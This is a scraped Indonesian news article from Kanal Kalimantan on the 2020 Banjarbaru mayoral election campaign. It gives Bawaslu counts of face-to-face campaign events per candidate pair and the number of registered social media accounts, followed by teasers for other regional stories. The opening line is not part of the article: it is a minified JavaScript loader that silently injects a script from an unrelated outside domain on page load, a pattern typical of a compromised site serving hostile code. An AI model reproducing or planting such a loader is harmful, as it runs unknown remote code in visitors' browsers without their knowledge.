(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Masa kampanye Pilkada 2020 di Kota Banjarbaru, kini hanya tersisa lima pekan ke depan. Meskipun awalnya kampanye melalui sosial media begitu mendominasi, namun pada akhirnya para paslon lebih memilih gerilya melakukan kampanye secara tatap muka.
Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru mencatat jumlah kegiatan kampanye tatap muka ketiga paslon yang berkontestasi di Pilkada Banjarbaru, melonjak dalam sebulan terakhir. Bahkan, sampai pada penghujung Oktober, total kampanye tatap muka di Banjarbaru telah mencapai ratusan kegiatan.
Sebagai informasi, mereka yang berkontestasi di Pilkada Banjarbaru; paslon nomor urut 1, Gusti Iskandar Sukma Alamsyah – AR Iwansyah. Paslon nomor urut 2, Aditya Mufti Ariffin – Wartono. Dan paslon nomor urut 3, Haji Martinus – Darmawan Jaya Setiawan.
Koordinator Divisi Pengawasan Hubungan Masyarakat dan Hubungan Antar Lembaga Bawaslu Banjarbaru Normadina mengungkapkan bahwa hampir setiap paslon telah mencatatkan puluhan pelaksanaan kegiatan kampanye tatap muka.
“Untuk paslon 1, sudah 63 kali melaksanakan pertemuan tatap muka. Paslon 2 melaksanakan kurang lebih 36 kali kegiatan. Sedangkan, paslon nomor urut 3 baru melakukan 2 kali kegiatan dan akan ditambah dengan 1 kegiatan besok, jadi totalnya ada 3 kali sampai pada Oktober ini,” paparnya, kepada Kanalkalimantan, Jumat (30/10/2020).
Dina -sapaan akrabnya-, menjelaskan bahwa laporan tersebut didapat berdasarkan hasil pengawasan pihaknya di lapangan. Ihwal kontrasnya jumlah pelaksanaan kegiatan kampanye tatap muka yang dilakukan oleh paslon nomor urut 3, baginya itu adalah strategi masing-masing paslon.
“Masing-masing punya strategi yang berbeda. Kita tidak bisa ikut campur dengan jadwal kegiatan kampanya mereka. Yang kita lakukan hanya mengawasi dan memastikan bahwa pertemuan langsung itu dilaksanakan dengan mengedapankan protokol Covid-19 dan jumlah peserta terbatas,” terangnya.
Faktanya, tak mengherankan jika metode kampanye melalui medsos menjadi andalan paslon di Pilkada tahun ini. Toh banyak yang menilai kampanye tatap muka lewat pertemuan, tak lagi efektif, karena jumlah massanya dibatasi, yang mana hal itu berdasarkan aturan baru yang ditetapkan KPU menyisiati gelaran pesta demokrasi di tengah pandemi Covid-19.
Adapun pengawasan seluruh akun medsos itu menjadi ranah Bawaslu Banjarbaru. Dalam hal ini, pengawasan tak hanya soal akun resmi atau tidak, melainkan isi konten yang diposting oleh akun resmi milik tiap-tiap paslon.
Dari data KPU Banjarbaru, sedikitnya ada total 20 akun medsos resmi yang telah didaftarkan ketiga paslon untuk jualan kampanye hingga 5 Desember nanti. Puluhan akun medsos tersebut digunakan pada dua aplikasi ternama, yakni Instagram dan Facebook.
Rinciannya, paslon nomor urut 1 Gusti Iskandar Sukma Alamsyah-AR Iwansyah punya 6 akun medsos resmi. Kemudian, Paslon nomor urut 2 Aditya Mufti Ariffin-Wartono mendaftarkan 7 akun medsos mereka. Lalu paslon nomor urut 3, Haji Martinus-Darmawan Jaya Setiawan mendaftarkan sebanyak 7 akun medsos. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.